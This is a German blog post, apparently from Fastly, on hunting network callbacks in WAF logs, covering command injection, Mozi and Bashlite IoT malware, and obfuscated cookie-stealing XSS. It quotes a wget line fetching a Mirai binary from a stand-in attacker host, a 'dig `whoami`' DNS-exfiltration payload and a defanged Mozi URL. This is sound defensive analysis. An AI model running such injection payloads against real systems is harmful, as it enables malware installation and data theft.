Threat Hunting: Netzwerk-Callbacks in WAF-Daten

Threat Hunting ist die Suche nach aktiven Angreifern, die möglicherweise die Sicherheitsbarrieren eines Unternehmens durchbrochen haben. Es erfordert eine Reihe von Fähigkeiten in den Bereichen Datenanalyse, Sicherheit und Netzwerke und allem voran Neugier. In diesem Blogpost präsentieren wir Suchen aus der Praxis, die unser Team mit Daten aus der Fastly Next-Gen WAF (powered by Signal Sciences) durchgeführt hat. Diese Beispiele sollen Ihnen Ideen geben, wie Sie die Daten Ihrer WAFs zum Threat Hunting verwenden können.

Übersicht

Einige der Standardtechniken, die Angreifer oft verwenden, sind statische und dynamische Techniken, die eigentlich dem Testen der Anwendungssicherheit dienen. So gelangen sie an Informationen, die ihnen helfen, ihre operativen Ziele zu erreichen. Wenn sie kein direktes Feedback darüber erhalten können, ob ein bestimmter Angriff funktioniert, können sie dazu übergehen, Out-of-Band-Techniken einzusetzen.

Out-of-Band-Tests für die Anwendungssicherheit erfordern die Verwendung von Netzwerk-Callbacks (die Zielanwendung muss sich an den Angreifer wenden), um die Bestätigung zu erhalten, dass ein blinder Payload-Angriff erfolgreich war. Böswillige Angreifer verwenden die gleiche Technik, um Malware zu laden und auszuführen. Zunächst überprüfen sie, ob sie einen Callback ausführen können – dann greifen sie die Datei ab. Diese Callbacks erfolgen oft an eine Mischung von Domänen und bestimmten IP-Adressen.

Mit diesem Wissen können Verteidiger die versuchten oder erfolgreichen Callbacks im Netzwerk untersuchen. Dies kann durch Ereignisprotokolle ergänzt werden, wenn der richtige Blickwinkel gegeben und die richtige Protokollierung in ihrer Infrastruktur aktiviert ist.

WAF-Logs

Der Ausgangspunkt für jede Suche sind Daten. In diesem Fall konzentrieren wir uns auf WAF-Protokolle, die auf der Grundlage von Warnungen vor potenzieller Böswilligkeit aggregiert wurden. Stellen Sie bei Ihren eigenen Protokollen sicher, dass diese in einem zentralen Datenspeicher (d. h. einem SIEM oder anderen Repository) gesammelt und aggregiert werden.

Wenn Sie bereits mit Fastlys Next-Gen WAF arbeiten, ist die Suche im Anfrage-Feed einer Website eine hervorragende Quelle für diese Daten. Sie können die Suche nach Tags filtern, insbesondere nach den Tag-Objektfeldern type und value.

Die sprichwörtliche Nadel im Heuhaufen finden

Wie in der Übersicht erwähnt, haben wir für dieses spezielle Threat Hunting nach netzwerkbasierten Callbacks in Angriffsprotokollen gesucht. Wir haben uns insbesondere mit dem Versuch der Injektion und Ausführung von Befehlen befasst, die einen Callback im Netzwerk auslösen würden. Die Ergebnisse haben wir isoliert, indem wir nach Verweisen auf gängige Netzwerk-Tools gesucht haben, wie z. B. curl, dig, netcat, nslookup oder wget. Hier ein Beispiel: wget http://attacker.example.com/bins/mirai.arm7. 

Damit diese Art von Angriff erfolgreich ist, muss der Angreifer etwas ausführen, das in der Zielumgebung bereits existiert. Die Verwendung gängiger System-Binärdateien wird manchmal als „living off the land“-Binärdateien oder kurz „LOLbins“ bezeichnet. Für eine umfassendere Suche können Sie auf LOLBin-Listen wie LOLBAS und GTFOBins zurückgreifen, die sich jeweils auf Windows und Unix konzentrieren.

Durch das Extrahieren dieser Angriffsversuche in unserer Umgebung konnten wir einige Gemeinsamkeiten zwischen diesen Angriffen feststellen. Für ein besseres Verständnis haben wir eine Teilmenge der Befehlszeilenargumente extrahiert, die auf jedes LOLbin im Protokolleintrag folgen. Dann haben wir nach Gemeinsamkeiten in den Argumenten gesucht, indem wir sie aggregiert und gezählt haben. So konnten wir Domains und IP-Adressen aus häufigen Angriffen extrahieren, um mittels Informationen aus anderen Datenquellen mehr Kontext über sie zu erhalten.

Nach Durchführung der ersten Analyse begannen wir, Fragen zu stellen. Hier ein paar Beispiele:

• Verwenden Angreifer gängige Sicherheitstool-Domains? – z. B. burpcollaborator.net, interact.sh

• Ist die Technologie, die sie ausnutzen möchten, überhaupt relevant für die Umgebung? – z. B. versuchte Ausführung von Windows-Befehlen in einer Linux-Umgebung oder umgekehrt

• Versuchen sie, mehrere IP-Adressen zu verwenden, die andere Attribute gemein haben? – Mozi Botnet beispielsweise verwendet einen gängigen URI-Pfad mit verschiedenen IPs

• Ist der Callback-Server des Angreifers noch aktiv? Können wir die Payload von ihm abgreifen?

Beim Threat Hunting ist es wichtig, Fragen wie diese zu beantworten, um einen Einblick in die Absichten des Angreifers zu gewinnen. Denn die möglichen nächsten Schritte, die ein Angreifer unternehmen könnte, scheinen unendlich. Wenn Sie die Motivation des Angreifers allerdings kennen, können Sie herausfinden, welcher Pfad am wahrscheinlichsten ist.

Manchmal können sogar die Daten selbst Aufschluss über die Motivation geben, z. B. wenn Bug-Bounty-Teilnehmer einen speziellen X-Header einfügen, der auf ihren Nutzernamen auf einer Bug-Bounty-Plattform verweist, oder den Nutzernamen als Subdomain in der Callback-URI verwenden.

Sicherheitstools

Sicherheitstools tauchen in unseren Daten häufig auf. Wir haben festgestellt, dass im Zeitraum unserer Analyse etwa 3,6 % aller Versuche der Befehlsinjektion einen Netzwerk-Callback enthielten. Davon zielen 85 % auf bekannte Sicherheitstool-Domains ab.

Das soll nicht heißen, dass böswillige Akteure nicht dieselben Tools wie Penetrationstester verwenden. Aber bei diesen Anfragen handelt es sich in der Regel um Sondierungen, um festzustellen, ob ein Angriff funktioniert, und nicht um einen Versuch, gehostete Malware abzufangen. 

Diese Domains können jedoch nicht ignoriert werden, da Angreifer versuchen könnten, Daten über DNS oder HTTP zu exfiltrieren (z. B. eine Umgebungsvariable als DNS-Subdomain offenzulegen) oder das Toolset als Erkundung für die nächste Stufe eines Angriffs zu verwenden. Ein konkreteres Beispiel für diese Art von Befehlsinjektions-Payload ist &&dig `whoami`.c8qt8wk2vtc0000816hggrm7rqcyyyyyb.interact.sh und ein Ergebnis aus der Sicht eines Angreifers.

IoT-Malware

In anderen Fällen haben wir festgestellt, dass der Angreifer versucht hat, IoT-Malware zu installieren. Bei einigen versuchten Angriffen ist der Callback so konzipiert, dass er ein Shell-Skript abruft und es ausführt. Wir konnten erkennen, dass diese Versuche mit Bashlite (auch bekannt als Gafgyt) Malware-Binärdateien in Verbindung stehen.

Das Skript ist so konzipiert, dass es die Malware-Binärdatei abruft und versucht, sie auszuführen. Es probiert alle unterstützten Architekturen aus, einschließlich der in IoT-Geräten beliebten Architekturen (z. B. MIPS, Motorola 68K).

Mozi Malware ist eine weitere IoT-Malware-Familie, die in WAF-Protokollen leicht zu identifizieren ist, da sie stets den Pfad /Mozi.m oder /Mozi.a verwendet. Ein früher bereits beobachtetes Beispiel dafür ist die URL http://183.188.6\[.\]132:50359/Mozi.m, die die Mozi Malware mit dem Hash „12013662c71da69de977c04cd7021f13a70cf7bed4ca6c82acbc100464d4b0ef“ ausführte. 

Die eindeutige Gemeinsamkeit in jedem dieser Beispiele liegt in dem, was wir versucht haben zu suchen: Netzwerk-Callbacks. 

Um Netzwerk-Callbacks abzuwehren, sollte am besten verhindert werden, dass die erste Payload erfolgreich ist. Angriffe, die wir für unsere Kunden erfolgreich abgewehrt haben, verschafften uns außerdem die nötige Transparenz, um diese Suche durchzuführen. Eine weitere Schutzmaßnahme wäre jedoch die Einrichtung einer strikten Egress-Filterung und die Verwendung eines Egress-Proxy/Gateways für Anwendungen, die nach außen kommunizieren müssen. Damit beziehen Sie einen guten Ausgangspunkt für die Überwachung und können gewiss sein, dass Sie Netzwerk-Callbacks in Zukunft verhindern können.

Netzwerk-Callbacks in XSS

Befehlsinjektion ist nicht die einzige Angriffsart, bei der Out-of-Band-Techniken nützlich sind. Auch Cross-Site Scripting (XSS)-Angriffe verwenden sie. Der Hauptunterschied besteht jedoch darin, dass der Angriff dem Nutzer der Anwendung gilt und nicht der Anwendung oder dem Server, auf dem sie läuft.

Ein Beispiel, das wir während unserer Untersuchung entdeckt haben, war eine Kampagne, die einen Javascript Obfuscator verwendete, um nicht entdeckt zu werden. Zu diesem Zeitpunkt konzentrierten wir uns auf die Suche nach Javascript, das in XSS-Angriffen verwendet wird, und die Identifizierung seines Zwecks. Bei dieser Suche sind Payloads, die etwas so Einfaches wie ein „alert()“ enthalten, leicht zu identifizieren. Andere hingegen sehen einfach wie irgendwelche Zeichen-Strings aus. Letztere können Verschleierungsmethoden sein, die den wahren Zweck des Codes verbergen.

Eine WAF kann XSS aufspüren und abwehren, ist sich aber in der Regel der zugrundeliegenden verdeckten Inhalte nicht bewusst. Um diese Inhalte zu prüfen, haben wir einen Linux Container für NodeJS mit Nicht-Root-Nutzer-Berechtigungen und ohne Netzwerkzugang erstellt. Anschließend haben wir Javascript Schnipsel behutsam ausgeführt und dabei soweit wie möglich Funktionsaufrufe wie eval vermieden, um ein Gefühl dafür zu bekommen, was der Code bewirken sollte.

Wie wir in dem aufgedeckten Code (auf der rechten Seite des Screenshots oben) sehen können, ist er so konzipiert, dass er einen Callback an die Domain macht und auswertet, was auch immer in der Antwort zurückkommt. Dies kann sich im Laufe der Zeit ändern – je nachdem, womit der Server des Angreifers antwortet. Bei der Überprüfung dieser Domain bei Drittanbietern erwies sie sich jedoch als bekannte Quelle von Javascript Malware.

Ein zweites Beispiel war der Versuch, bei seinen Skript-Tags Case Mismatch und Loads von einer Drittanbieter-Ressource zu verwenden. Wir haben die Quelle der Antwort zur Verdeutlichung im folgenden Screenshot formatiert.

Die Antwort von dieser Domain war so konzipiert, dass sie ein Bild-Tag in das DOM einfügte, um die Cookies der Nutzer zu stehlen. Wir haben den Infrastrukturanbieter, bei dem die Kampagne gehostet wurde, benachrichtigt. So konnte er die Bedrohung beseitigen.

Wozu das alles?

Erkenntnisse aus dem Threat Hunting können Unternehmen dabei helfen, die aktiven Bedrohungen zu priorisieren, auf deren Abwehr sie sich konzentrieren sollten. Die Daten realer Angriffe auf das Netzwerk Ihres Unternehmens dienen als Beweis dafür, was in Ihrem Sicherheitsprogramm derzeit effektiv ist und was nicht. Es kann Diskussionen über Prioritäten beim Schwachstellenmanagement, Pläne zur Störungsbehebung und Verbesserungen bei der Überwachung und Observability des Betriebs in Gang setzen.